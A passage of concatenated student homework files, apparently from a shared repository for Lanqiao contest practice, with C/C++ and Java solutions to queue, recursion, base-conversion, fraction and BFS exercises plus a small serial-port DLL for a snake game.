bool empty(); //判断queue是否为空
int size(); //返回queue元素的个数
};
void queue::push_front(int top) { //在队首添加一个元素
if (!isfull()){ //要插入数据前必须先看找到插入的地方可否行
if (top0 == 0 && end0 != Capacity - 1)
{
top0 = Capacity - 1;//如果队首指针指向了数组的最前并且数组后半部分还有大片空间时
t = false; //说明队首指针是由于数组前半部分数据放满了移到指向后面去了
}
else
top0--; //不满足以上情况的,证明队尾还有空间可以存放数据
data[top0] = top;
if (end0 == Capacity / 2 -1) //起初end0指向Capacity/2,然后再队首添加了一个元素所以要把end0指向这个元素的位置
end0 = top0;
}
else {
cout << "queue is fullful" << endl;
return;
}
}
void queue::push_back(int end) {
if (!isfull()) {
if (end0 == Capacity - 1 && top0 != 0) //要插入数据前必须先看找到插入的地方可否行
{
end0 = 0;
e = false; //说明队尾指针是由于数组后半部分数据放满了移到指向前面去了
}
else
end0++;
data[end0] = end;
if (top0 == Capacity / 2 -1) //起初top0指向Capacity/2,然后再队尾添加了一个元素所以要把top0指向这个元素的位置
top0 = end0;
}
else {
cout << "queue is fullful" << endl;
return;
}
}
void queue::pop_front() { //弹出队列最前的一个元素
if (!empty()) {
if (top0 == Capacity - 1){ //如果指向队首的指针指在了数组的最后一个位置
top0 = 0;
t = true;
}
else
top0++; //队首元素被弹出,指针往后移一位
}
else {
cout << "没有元素了" << endl;
return;
}
}
void queue::pop_back() { //弹出队列最后一个元素
if (!empty()) {
if (end0 == 0){
end0 = Capacity - 1;
e = true;
}
else
end0--;
}
else {
cout << "没有元素了" << endl;
return;
}
}
int queue::front() { //返回队首元素的值
int temp = data[top0];
return temp;
}
int queue::back() { //返回队尾元素的值
int temp = data[end0];
return temp;
}
bool queue::isfull() { //两种情况会满:1.e和t有一个为假并且end0+1==top0 2.top0=0,end0=Capacity-1
return (end0 + 1 == top0) && ((!e) || (!t)) || top0 == 0 && end0 == Capacity - 1;
}
bool queue::empty() { //两种情况会空:1.e和t都为真并且end0+1==top0,2.初始时,
return e && t && (end0 + 1 == top0) || (top0 == Capacity / 2 -1 && end0 == Capacity / 2 -1);
}
int queue::size() {
if (empty())
return 0;
return e && t ? (end0 - top0 + 1) : ((Capacity - ((top0 - end0) > 0 ? (top0 - end0) : (end0 - top0) - 1)));
}
int main() {
queue q1(3);//建立队列
int order; int x;
while (1) {
cout << " 请选择命令:1-入队操作,2-出队操作,3-查询队列长度,4-结束 :";
cin >> order;
switch (order) {
case 1: cout << " 请输入需要入队的数值:" << endl;
cin >> x; q1.push_back(x);
break;
case 2:
if (q1.empty()) {
cout << " 队列为空" << endl;
break;
}
cout << "出队的数据为:" << q1.front() << endl;
q1.pop_front(); break;
case 3:
cout << q1.size() << endl;
break; default: goto q;
}
}
q: system("pause");
return 0;
}
<file_sep>/贡献/刘震/java+Cdll+keil51+proteus实现贪吃蛇/用VS写的DLL/snakeDll/snakeDll/snakeDll.cpp
// snakeDll.cpp : 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
#include "Inc.h"
// 将要导出的函数
// 打开串口
// 配置串口
// 读写串口
// 关闭串口
// 打开串口
static HANDLE hCom;
static DCB dcb;
bool OpenSerial() {
hCom = CreateFile(
TEXT("COM5"), // 要打开的串口名
GENERIC_READ | GENERIC_WRITE, // 允许读写
0, // 独享
NULL,
OPEN_EXISTING, // 串口已经存在
FILE_ATTRIBUTE_NORMAL, // 普通
NULL);
if (hCom == INVALID_HANDLE_VALUE) {
MessageBox(NULL, TEXT("打开串口失败"), TEXT("串口状态"), MB_OK);
//cout << COM << endl;
return false;
}
else {
return false;
}
}
// 配置串口
void SetComm() {
// 设置读写缓冲区
SetupComm(hCom, 1024, 1024);
// 获得串口属性
GetCommState(hCom, &dcb);
dcb.BaudRate = 9600;
dcb.ByteSize = 8;
dcb.Parity = 0;
dcb.StopBits = 1;
// 重新设置串口属性
SetCommState(hCom, &dcb);
// 清空缓存区
PurgeComm(hCom, PURGE_TXCLEAR | PURGE_RXCLEAR);
}
DWORD dwWrittenLen = 0;
// 向串口发送数据,每次只发送一个字节
void SentDataToCOM(int data) {
char c[1] = { data };
WriteFile(hCom, c, 1, &dwWrittenLen, NULL);
}
// 关闭串口
bool CloseCOM() {
return CloseHandle(hCom);
}
<file_sep>/2020备战蓝桥/黄杨/第十二次作业/4.cpp
#include<iostream>
#include<map>
#include<cmath>
using namespace std;
int main()
{
int n, a, b;
cin >> n;
map<int, int> match;
while(n--)
{
cin >> a >> b;
match[a] = b;
}
bool success = true;
for(map<int, int>::iterator it = match.begin(); it != match.end(); it++)//迭代器
{
if(!match[it->second])
{
success = false;
break;
}
}
if(success)
cout << "SUCCESS!" << endl;
else
cout << "FAIL!" << endl;
return 0;
<file_sep>/2020备战蓝桥/刘燚杰/第九次作业/9-4.cpp
#include<iostream>
using namespace std;
int Pell(int n)
{
if(n == 1)
return 1;
if(n == 2)
return 2;
else
return 2*Pell(n-1)+Pell(n-2);
}
int main()
{
int g=0;
int w[1000]={0};
cout<<"input"<<endl;
cin>>g;//测试组数
for(int i=0;i<g;i++)
cin>>w[i];
cout<<"the result"<<endl;
for(int i=0;i<g;i++)
{
cout<<Pell(w[i])<<endl;
}
}
<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.3.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
char a[1000];
void Gets()
{
char m;
int n=0;
while(1)
{
m = _getch();
a[n] = m;
n++;
if (m== '\r')break;
}
}
int main()
{
Gets();
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第九次作业/9.7.cpp
#include<iostream>
#include<cstdio>
using namespace std;
int f(int m,int n)
{
int sum = 0;
if (m == n)
{
return 1;
}
else if (m > n)return 0;
else
{
if (m < 100000)
{
sum=sum+f(2 * m + 1,n);
if (sum != 0)return 1;
sum=sum+f(3 * m + 1,n);
if (sum != 0)return 1;
}
}
return sum;
}
int main()
{
int k, x,sum;
scanf("%d,%d", &k, &x);
if (k > x)sum = f(x, k);
else sum = f(k,x);
if (sum == 0)cout << "NO";
else cout << "YES";
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/谭彬智/第十三次作业/13.5.cpp
#include<iostream>
#include<queue>
using namespace std;
int level(int x,int n,int a,int b,int *p)
{
queue<int> q;
q.push(a);
while(!q.empty())
{
a=q.front();
q.pop();
if(a==b)return x;
if((a-p[a]<=0)&&(a+p[a]>n))return -1;
if(a-p[a]>0)q.push(a-p[a]);
if(a+p[a]<=n)q.push(a+p[a]);
x++;
}
}
int main()
{
int n,a,b;
cin>>n>>a>>b;
int *p=new int[n+1];
for(int i=1;i<n+1;i++)
cin>>p[i];
cout<<level(0,n,a,b,p)<<endl;
delete []p;
return 0;
}
<file_sep>/2020备战蓝桥/柳俊/第十次作业/10-1.cpp
#include<stdio.h>
int f(void)
{
int one,two,three,four;
scanf("%d-%d-%d-%d",&one,&two,&three,&four);
if(four== ( 1*one+2*(two/1000)+3*(two/100%10)+4*(two/10%10)+5*(two%10)+6*(three/1000)+7*(three/100%10)+8*(three/10%10)+9*(three%10) )%11 )
return 1;
else
return 0;
}
int main()
{
int n;
printf("enter the number of files\n");
scanf("%d",&n);
while(n--)
if (f( )==1)
printf("Right\n");
else
printf("Wrong\n");
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/9-1.cpp
#include <iostream>
#include<stdio.h>
#include<math.h>
using namespace std;
char a[100];
double f()
{
cin >> a;
switch (a[0])
{
case '+':return f() + f();
case '-':return f() - f();
case '*':return f()*f();
case '/':return f() / f();
default:return atof(a);//atof()会扫描参数nptr字符串,跳过前面的空格字符,直到遇上数字或正负符号才开始做转换,而再遇到非数字或字符串结束时('\0')才结束转换,并将结果返回。
//参数nptr字符串可包含正负号、小数点或E(e)来表示指数部分,如123.456或123e-2。
}
}
int main()
{
double ans = 0.0;
ans = f();
printf("%f\n", ans);
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十次作业/10-4.cpp
#include<iostream>
using namespace std;
double recorder = 0;
double T4(double h,int n)
{
double sum = h;
for(int i=0;i<n-1;i++)
{
h = h/2;
sum += h;//落下
sum += h;//弹起
}
recorder = h;
return sum;
}
int main()
{
double h = 0;
int n = 0;
cout<<"input the height and bouncind times:"<<endl;
cin>>h>>n;
cout<<"all journey of the ball when bouncing n times:"<<T4(h,n)<<endl;
cout<<"the meter of bouncing:"<<recorder<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘诗雨-/第十次作业/10.3.cpp
#include <iostream>
#include<cstring>
using namespace std;
char a[1000];
int f=0;
int a1[10]={0,1,2,3,4,5,6,7,8,9};
char s1[10][10]={"0","1","ABC","DEF","GHI","JKL","MNO","PQRS","TUV","WXYZ"};
int a8=0;
void kai(int *a2,int start,int len1,char *s5)
{
if(start>=len1){
int ii;
for(ii=0;ii<a8;ii++){
a[f++]=s5[ii];
}
a[f++]=',';
a8--;
return;
}
int len=3;
if(a2[start]==7||a2[start]==9)
len=4;
int i=0;
for(i;i<len;i++)
{
s5[a8++]=s1[a1[a2[start]]][i];
kai(a2,start+1,len1,s5);
a8=start;
}
}
int main()
{
std::string number;
std::cin>>number;
int n=number.size();
int *arr=new int[n];
int i;
for(i=0;i<n;i++)
{
arr[i]=number[i]-'0';
}
char s5[100];
kai(arr,0,n,s5);
puts(a);
cout<<(strlen(a))/(n+1);
return 0;
}
<file_sep>/2020备战蓝桥/陈富浩/第十一次作业/11.2.cpp
#include<string>
#include<iostream>
using namespace std;
int main()
{
string str1,str2,s;
cout<<"输入两个字符串:"<<endl;
cin>>str1>>str2;
s=str1+str2;
cout<<s<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/张谦煜/9-2/src/Main.java
import java.util.*;
public class Main {
public static void main(String[] args) {
Integer bnum;
Scanner in = new Scanner(System.in);
bnum=Integer.parseInt(in.nextLine());
Integer dnum=0;
int flag=0;
while (bnum!=0)
{
dnum+=(int)Math.pow(2,flag)*(bnum%10);
flag++;
bnum/=10;
}
String hnum="";
int r=0;
flag=0;
String str[] = {"A","B","C","D","E","F"};
while (dnum!=0)
{
r=dnum%16;
if (r>=10)
hnum=str[r-10]+hnum;
else
hnum=String.valueOf(r)+hnum;
dnum/=16;
}
System.out.println(hnum);
}
}
<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.6.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
void f()
{
}
int main()
{
int i = 0,n;
float p,m,a=0,s;
cin >> p;
char q[500], b[500],c;
do
{
c = _getch();
q[i] = c;
i++;
} while (c != '\r');
m = i;
for (i=0; i <= m-1; i++)
{
c = _getch();
if (c == q[i])a++;
}
m = i;
s = a / m;
if (s < p)cout << "NO" << endl;
else cout << "YES" << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘诗雨-/第十二次作业/12.4.cpp
#include<iostream>
#include<string>
using namespace std;
int main()
{
int stu[50000];
int a,b;
int n,j;
long i;
long na=20000;
cout<<endl;
for(i=0;i<na;i++)
{
stu[i]=1;
}
for(i=na;i<50000;i++)
{
stu[i]=2;
}
cout<<"输入要交换的组数:";
cin>>n;
cout<<endl;
for(j=0;j<n;j++)
{
cout<<"输入交换学生的编号:";
cin>>a>>b;
swap(stu[a],stu[b]);
if(stu[a]==stu[b])
cout<<"NO"<<endl;
else if(stu[a]!=stu[b])
cout<<"Yes"<<endl;
}
return 0;
}<file_sep>/2020备战蓝桥/刘燚杰/第九次作业/9-6.cpp
#include<iostream>
#include<vector>
#include<string>
#include<sstream>
using namespace std;
//仅适用于分子为个位数
struct Number
{
int fenzi;
int fenmu;
};
int fun1(int a,int b)//最大公约数1
{
if(a%b == 0)
{
return b;
}
else
{
if(a>b)
fun1(b,a%b);
else
fun1(b,a);
}
}
int fun2(Number *N1,int n)//最大公约数2
{
int z = fun1(N1[0].fenmu,N1[1].fenmu);
if(n <= 2)
{
return z;
}
else
{
for(int i=2;i<n;i++)
{
z = fun1(z,N1[i].fenmu);
}
return z;
}
}
int fun3(Number *N2,int n)//最小公倍数
{
int result = 1;
for(int i=0;i<n;i++)
result = result*N2[i].fenmu;
return result/fun2(N2,n);
}
void add(Number *N3,int n)//分数相加并化简
{
int Fenmu = fun3(N3,n);
int Fenzi = 0;
for(int i=0;i<n;i++)
Fenzi += ((Fenmu/N3[i].fenmu)*N3[i].fenzi);
int gcd = fun1(Fenmu,Fenzi);
if(gcd != 1)
{
Fenzi = Fenzi/gcd;
Fenmu = Fenmu/gcd;
}
cout<<Fenzi<<'/'<<Fenmu<<endl;
}
int main()
{
int n=0;//n表示分数的个数
string a[10];
struct Number N[10];
cin>>n;
for(int i=0;i<n;i++)
cin>>a[i];
// int l[10] = {0};
// for(int i=0;i<n;i++)
// {
// l[i] = strlen(a[i]);
// }
for(int i=0;i<n;i++)
{
N[i].fenzi = stoi(a[i].substr(0,1));
N[i].fenmu = stoi(a[i].substr(2));
}
add(N,n);
return 0;
}
<file_sep>/2020备战蓝桥/郑越/第十次作业/弹球高度问题.cpp
//
// main.c
// 弹球高度
//
// Created by Richard.ZHENG on 2019/12/13.
// Copyright © 2019 Richard.ZHENG. All rights reserved.
//
#include <stdio.h>
int main()
{
int H,N;
float s,h;
printf("请输入起始高度和次数\n");
scanf("%d %d",&H,&N);
s=H;
h=H/2;
for(int i=2;i<=N;i++)
{
s=s+2*h;
h=h/2;
}
printf("第%d次落地经过%fm,第%d次反弹高度为%fm\n",N,s,N,h);
}
<file_sep>/2020备战蓝桥/刘震/第九次作业/9.6.cpp
/*6、分数求和(信息学奥赛一本通-T1209) */
//思路:定义一个二位数组分别存放分子和分母,然后先算前两个分数的和,用枪两个分数的和和后面的分数相加。
//两个分数相加,看分母,首先求出两个分母的公倍数,然后都化为同分母的分数,两分数相加后在化简。因为这题最多只有10个分数相加,公倍数就直接两个分母相乘
//会溢出,
#include<iostream>
#include<cmath>
using namespace std;
const int maxn = 10;
int fenzi=0,fenmu=1,n,a[maxn][2];
//把所有的分数相加,不化简
void d(int i);
//求两个数的最大公因数
int max_ele(int a,int b);
int main(){
char c; //c是把中间的除号吞掉
int i;
cin>>n;
for(i=0;i<n;i++)
cin>>a[i][0]>>c>>a[i][1];
//cout<<a[0][0]<<c<<a[0][1]<<endl;
d(0);
int t; //分子分母的最大公因数
if(fenzi==0) cout<<0<<endl;
else{
t=abs((abs(fenzi)>=fenmu)?max_ele(abs(fenzi),fenmu):max_ele(abs(fenmu),fenzi)); //求两个数的最大公因数并确保两个数都大于0
//把分子分母化为最简
if(fenmu/t==1) cout<<fenzi/t<<endl; //如果分母为1的话就直接输出分子
else cout<<fenzi/t<<'/'<<fenmu/t<<endl;
}
return 0;
}
void d(int i){
if(i<n){
int comber = fenmu*a[i][1];
fenzi=fenzi*(comber/fenmu)+a[i][0]*(comber/a[i][1]); //当两分数分分母相同时分子相加。
fenmu=comber;
d(i+1);
}
}
int max_ele(int a,int b){
int t1;
while(1&&b!=0){
t1=a%b;
if(t1==0) return b;
else{
a=b;
b=t1;
}
}
}
<file_sep>/2020备战蓝桥/刘洪洋/8.1.cpp
#include<stdio.h>
#include<string.h>
void revert()
{
char ch = getchar();
if (ch == '!')
{
//putchar(ch);
return;
}
else
{
revert();
putchar(ch);
}
}
int main()
{
revert();
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十一次作业/11.1 判断下列标识符的合法性.cpp
/*11.1 判断下列标识符的合法性*/
/* sin book 5arry _name Example2.1 main
$1 class_cpp a3 x*y my name*/
//思路:就是对每一个标识符的每一位字符进行判断
/*
#include<iostream>
using namespace std;
int main()
{
char str[][11] = { "sin","book", "5arry", "_name", "Example2.1", "main", "$1", "class_cpp", "a3", "x*y", "my name" };
int i, j, sign[11];
for (i = 0; i < 11; i++)
{
cout << str[i] << ' ';
if (str[i][0] >= 'a'&&str[i][0] <= 'z' || str[i][0] >= 'A'&&str[i][0] <= 'Z' || str[i][0] == '_')
{
for (j = 0; str[i][j] != '\0'; j++)
if (!(str[i][j] >= 'a'&&str[i][j] <= 'z' || str[i][j] >= 'A'&&str[i][j] <= 'Z' || str[i][j] == '_' || str[i][j] >= '0'&&str[i][j] <= '9'))
{
sign[i] = 0;
break;
}
if (j == strlen(str[i]))
sign[i] = 1;
}
else
sign[i] = 0;
}
//打印
cout << "\n是标识符的有:" << endl;
for (i = 0; i < 11; i++)
if (sign[i])
cout << str[i] << " ";
cout << "\n不是标识符的有" << endl;
for (i = 0; i < 11; i++)
if (!sign[i])
cout << str[i] << " ";
getchar();
return 0;
}
*/
//用C++的内置string类
#include<iostream>
#include<string>
using namespace std;
const int maxn = 11;
int main()
{
string str[maxn]= { "sin","book", "5arry", "_name", "Example2.1", "main", "$1", "class_cpp", "a3", "x*y", "my name" };
string is[maxn], nis[maxn];
int i, j, k = 0, l = 0;
for (i = 0; i < maxn; i++)
{
cout << str[i] << ' ';
if (str[i][0] >= 'a'&&str[i][0] <= 'z' || str[i][0] >= 'A'&&str[i][0] <= 'Z' || str[i][0] == '_')
{
for (j = 0; j<str[i].length(); j++)
if (!(str[i][j] >= 'a'&&str[i][j] <= 'z' || str[i][j] >= 'A'&&str[i][j] <= 'Z' || str[i][j] == '_' || str[i][j] >= '0'&&str[i][j] <= '9'))
{
nis[l++] = str[i];
break;
}
if (j == str[i].length())
is[k++] = str[i];
}
else
nis[l++] = str[i];
}
cout << "\n是标识符的有:" << endl;
for (i = 0; i < k; i++)
cout << is[i] << ' ';
cout << "\n不是标识符的有:" << endl;
for (i = 0; i < l; i++)
cout << nis[i] << ' ';
getchar();
return 0;
}
<file_sep>/2020备战蓝桥/刘诗雨-/第十一次作业/11.3.cpp
#include <iostream>
#include<string.h>
using namespace std;
int main() {
std::string str;
std::cin>>str;
cout<<str<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/陈富浩/第十次作业/10.1.cpp
#include<stdio.h>
#include<string.h>
int Check(char* s);
int main()
{
char a[13]; //定义一字符串储存编码
gets(a);
if(Check(a)==1)
printf("Right!\n");
else
printf("Wrong!\n");
return 0;
}
int Check(char* s)
{
int i,j,sum=0;
for(i=0,j=1;i<12;i++)
if(i!=1&&i!=6&&i!=11)
sum+=(s[i]-'0')*(j++);
if(sum%11==(s[12]-'0')) //校验最后一位
return 1;
else if(s[12]=='X') //校验是否为X
return 1;
else
return 0;
}
<file_sep>/2020备战蓝桥/朱力/第12次作业/12.2.cpp
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
int main()
{
int n;
cout<<"请输入是几元组"<<endl;
cin>>n;
cout<<"请输入数据成员"<<endl;
int a[n];
for(int i=0;i<n;i++){
scanf("%d",&a[i]);
}
int k=1000;
int count=0;
while(k){
a[n]=abs(a[0]-a[n]);
for(int i=0;i<n-1;i++){
a[i]=abs(a[i+1]-a[i]);
}
for(int i=0;i<n;i++){
if(a[i]==0)
count++;
}
if(count==n)
{
cout<<"is zero!"<<endl;
return 0;
}
else
{
k--;
continue;
}
}
cout<<"is loop!"<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/陈富浩/第九次作业/9.2.cpp
#include<stdio.h>
#include<string>
char a[100],b[100];
char c[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L'};
void main()
{
scanf("%s",a);
int i,j,len;
int num=0;
len=strlen(a);
for(i=0;i<len;i++)
if(a[i]<='9')
num=num*2+a[i]-'0'+0;
else
num=num*2+a[i]-'A'+10;
i=0;
while(num!=0)
{
b[i]=c[num%16];
num=num/16;
i++;
}
for (j=i-1;j>=0;j--)
printf("%c",b[j]);
printf("\n");
}
<file_sep>/2020备战蓝桥/张宇菲/Pell数列.cpp
#include<stdio.h>
int shu(int k)
{
int a[100];
a[1]=1;
a[2]=2;
if(k>2)
a[k]=2*shu(k-1)+shu(k-2);
return a[k];
}
int main()
{
int k;
scanf("%d",&k);
printf("%d",shu(k));
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/9-2.cpp
#include<iostream>
#include<string>
#include<iostream>
#include<stdio.h>
#include<math.h>
using namespace std;
int number[100] = { 1,1,0,1,1,1,0,1,0,1,0,1};
void transformation(int character[100])
{
char a[4];
int total = 0;
int* p = character;
for (int n = 1, i = 0; n <= 3; ++n, i++)
{
int mi = 3;
total = 0;
for (; mi >= 0 && p != '\0'; p++, mi--)
{
total = total + pow(2, mi)*(*p);
}
a[i] = total;
}
cout << "转化为十六进制数为:";
for (int i = 0; i < 3; i++)
{
switch (a[i])
{
case 0:cout << "0"; break;
case 1:cout << "1"; break;
case 2:cout << "2"; break;
case 3:cout << "3"; break;
case 4:cout << "4"; break;
case 5:cout << "5"; break;
case 6:cout << "6"; break;
case 7:cout << "7"; break;
case 8:cout << "8"; break;
case 9:cout << "9"; break;
case 10: cout << "A"; break;
case 11:cout << "B"; break;
case 12:cout << "C"; break;
case 13:cout << "D"; break;
case 14:cout << "E"; break;
case 15:cout << "F"; break;
default:
cout << "error!" << endl;
break;
}
}
}
int main()
{
transformation(number);
cout <<"(16)"<< endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/吕经浪/第十次作业/10.5.cpp
#include<stdio.h>
int days(int y, int m, int d)
{
int d1 = 0, d2 = 0, d3 = 0, sum = 0, year;
int data[] = { 0,31,28,31,30,31,30,31,31,30,31,30,31 };
if (y % 400 == 0 || (y % 4 == 0 && y % 100 != 0))
{
data[2] = 29;
year = 366;
}
else
year = 365;
d1 = (y - 1990) * year;
for (int i = 1; i < m; i++)
d2 += data[i];
d3 = d;
sum = d1 + d2 + d3;
if (sum % 5 <= 3 && sum % 5 >= 1)
return 1;
else
return 0;
}
int main()
{
int s, year, month, day;
printf("Please input the year、month and day(y m d):\n");
while (~scanf("%d%d%d", &year, &month, &day))
{
if (year < 1990)
{
printf("The year should be great than 1990"); break;
}
if (month < 1 || month>12)
{
printf("The month input is error!"); break;
}
if (day < 0 || day>31)
{
printf("The month input is error!"); break;
}
s = days(year, month, day);
switch (s)
{
case 1: printf("打鱼\n"); break;
case 0: printf("晒网\n"); break;
default:break;
}
}
return 0;
}
<file_sep>/2020备战蓝桥/柳俊/第十次作业/10-4.cpp
#include<stdio.h>
int n;
float h,sum;
float f(int i)
{
h/=2;
if(i<n){
sum+=h*3/2;
return f(++i);
}
else
return sum+=h;
}
int main()
{
scanf("%f%d",&h,&n);
h*=2;
sum=f(1);
printf("%.2f %.2f",sum,h);
return 0;
}
<file_sep>/2020备战蓝桥/周鑫鹏/第十二次作业/5_6.cpp
#include<iostream>
#include<algorithm>
#include<set>
#include<cmath>
#include <vector>
using namespace std;
typedef struct crood
{
double x, y;
}crood;
bool operator< (const crood& a, const crood& b)
{
if (a.y <= b.y)
return a.x <= b.x;
return a.y <= b.y;
}
int F(const vector<double>p)
{
if(p.size()>=1)
{
auto it = p.rbegin();
double t = *it -*p.begin();//
auto i = p.begin();
++i;
for (; i != p.end(); i++)
{
if ( fmod(t,(*i - *p.begin()))!=0)
break;
}
if (i == p.end())
return 1;
return 0;
}
return 0;
}
int M()
{
set<crood> sp; crood temp; set<double> spx;
int num1;
cin >> num1;
for (int i = 0; i < num1; i++)
{
cin >> temp.x >> temp.y;
sp.insert(temp);
}
set<crood>::iterator it = sp.begin();
auto it1 = ++it;
--it;
vector<double> p;
for (; it != sp.end(); it++)
{
for (; it1 != sp.end(); it1++)
{
if ((*it).y == (*(it1)).y)
{
p.push_back((*it).x);
p.push_back((*it1).x);
}
else
{
spx.insert((*it).x);
}
}
if (F(p) == 0)
{
cout << "no" << endl;
return 0;
}
}
if (spx.size() == 1 || spx.size() == 0)
cout << "yes" << endl;
else
cout << "no" << endl;
return 0;
}
int main()
{
int n;
cin>>n;
for(int i=0;i<n;i++)
{
M();
}
return 0;
}
<file_sep>/2020备战蓝桥/1.cpp
/*
1.创建文件夹的方法:点击创建文件这个选项卡,输入文件夹的名字然后输入‘/’就是你创建文件夹的子目录了。
2.github里面不能创建空的文件夹,所以每次创建文件夹的时候就要在此文件夹下面生成一个文件。
3.而且不能连续创建文件夹,比如你想创建一个18级/信科1班/张三.cpp 这样的文件夹,首先你要创建18级这个文件夹,这样的输入“18级”+'/'+一个文件,
然后进入18级这个文件夹在点击创建文件输入‘’信科一班‘+‘/’+‘’张三.cpp‘’就ok了。
4.我们是这样想的:我们创建一个库,邀请大家都加入到这个库里面,这样大家以后就能在库里上传自己的文件了。
5.首先创建‘’2020备战蓝桥‘’这个文件夹,然后这个文件夹下面是我们每一个人的名字,每个名字是一个文件夹,比如‘’张三‘’,‘’张三‘’这个文件夹下面
是''第几次作业''这个文件夹,‘’第几次作业‘’这个文件夹下面是你每一题的作业。
*/
<file_sep>/2020备战蓝桥/谭彬智/第十三次作业/13.6.cpp
#include<iostream>
#include<queue>
using namespace std;
int level(int n,int k,int *x,int *y)
{
int tag=1;
queue<int> q;
q.push(n);
while(!q.empty())
{
n=q.front();
q.pop();
if(q.front==n)
{
tag--;
q.pop();
}
if(n<10)
for(int i=1;i<=k;i++)
if(n==x[i])
{
n=y[i];
tag++;
q.push(n);
}
if(n>=10&&n<100)
{
int a=n/10;
int b=n%10;
for(int i=1;i<=k;i++)
{
if(a==x[i])
{
a=y[i];
tag++;
q.push(a*10+b);
}
if(b==x[i])
{
b=y[i];
tag++;
q.push(a*10+b);
}
}
}
if(n>=100&&n<1000)
{
int a=n/100;
int b=(n/10)%10;
int c=n%10;
for(int i=1;i<=k;i++)
{
if(a==x[i])
{
a=y[i];
tag++;
q.push(a*100+b*10+c);
}
if(b==x[i])
{
b=y[i];
tag++;
q.push(a*100+b*10+c);
}
if(c==x[i])
{
c=y[i];
tag++;
q.push(a*100+b*10+c);
}
}
}
if(n>=1000&&n<=2000)
{
int a=n/1000;
int b=(n/100)%10;
int c=(n/10)%10;
int d=n%10;
for(int i=1;i<=k;i++)
{
if(a==x[i])
{
a=y[i];
tag++;
q.push(a*1000+b*100+c*10+d);
}
if(b==x[i])
{
b=y[i];
tag++;
q.push(a*1000+b*100+c*10+d);
}
if(c==x[i])
{
c=y[i];
tag++;
q.push(a*1000+b*100+c*10+d);
}
if(d==x[i])
{
d=y[i];
tag++;
q.push(a*1000+b*100+c*10+d);
}
}
}
}
return tag;
}
int main()
{
int n,k;
cin>>n>>k;
int *x=new int[k+1];
int *y=new int[k+1];
for(int i=1;i<=k;i++)
cin>>x[i]>>y[i];
cout<<level(n,k,x,y)<<endl;
delete []x;
delete []y;
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十次作业/10.6.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
int s1[1993], s2[1993];
int f(int i)
{
int a;
if (i == 3)return 1;
for (a = 2; a < i / 2; a++)
{
if ((i % a) == 0)return 0;
}
return 1;
}
void f1(int s)
{
int sum = 0,n=0,m=0;
for (int i = 0; i < s; i++)
{
if (sum == 1898)n++;
if (sum >= 1898)
{
sum = sum - s2[m] + s2[i];
m++;
}
else sum = sum + s2[i];
}
cout << n << endl;
}
int main()
{
int m,s=0,sum=0;
for (int i = 1; i <= 1993; i++)
{
m = f(i);
if (m == 1)
{
s1[s] = i;
s++;
}
}
for (int i = 0; i < s; i++)
{
s2[i] = s1[i + 1] - s1[i];
}
f1(s);
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘诗雨-/第十次作业/10.4.cpp
#include <iostream>
using namespace std;
int main()
{
cout<<"总高度:";
float h;
cin>>h;
cout<<endl;
cout<<"次数:";
int n;
cin>>n;
cout<<endl;
float sum=h;
for(int i=1;i<=n;i++)
{
h=h*(0.5);
sum=sum+2*h;
}
cout<<"第"<<n<<"次反弹:";
cout<<h<<endl;
cout<<"总路程:";
cout<<(sum-h*2)<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十一次作业/11.6 设有语句.cpp
#include<iostream>
using namespace std;
int main()
{
int a,b,c,d;
cin>>oct>>a>>b>>hex>>c>>dec>>d;
cout<<"十进制输出时:"<<a<<' '<<b<<' '<<c<<' '<<d<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/吕经浪/第九次作业/9.7.cpp
#include<iostream>
using namespace std;
int k;
int cunzai(int x)
{
if (x == k)
return 1;
if ((x - 1) % 3 == 0 && (x - 1) % 2 == 0)
return (cunzai((x - 1) / 3) || cunzai((x - 1) / 2));
if ((x - 1) % 3 == 0)
return cunzai((x - 1) / 3);
if ((x - 1) % 2 == 0)
return cunzai((x - 1) / 2);
return 0;
}
int main()
{
int x;
cin >> k >> x;
if (cunzai(x))
cout << "YES" << endl;
else
cout << "NO" << endl;
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十二次作业/12.7.cpp
#include <queue>
#include <cstdio>
#include <iostream>
using namespace std;
int main() {
int T;
cin >> T;
while (T--) {
queue<int> qu;
priority_queue<int> pq;
int n, m, cur;
cin >> n >> m;
for (int i = 0; i < n; i++) {
int t;
cin >> t;
qu.push(t);
pq.push(t);
}
cur = 0;
for (;;) {
if (pq.top() == qu.front()) {
if (m == cur) {
cout << n - pq.size() + 1 << endl;
break;
}
else {
pq.pop();
qu.pop();
cur++;
}
}
else {
int temp = qu.front();
qu.pop();
qu.push(temp);
if (m == cur) {
m = pq.size() - 1;
cur = 0;
}
else {
cur++;
}
}
}
}
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/黄杨/3.cpp
#include <stdio.h>
int f(int n);
int main()
{
int n;
scanf("%d", &n);
printf("满足条件的数为\n%d\n", n);
printf("总计%d个\n", f(n));
return 0;
}
int f(int n)
{
int m=n,i=1,j,h,s;
static c = 1;
while (m>=10)
{
i++;
m/=10;
}
for(h=1;h<=m/2;h++)
{
s = h;
j = i;
while(j != 0)
{
s=s*10;
j--;
}
s = s + n;
c++;
printf("%d\n", s);
if(m>1)
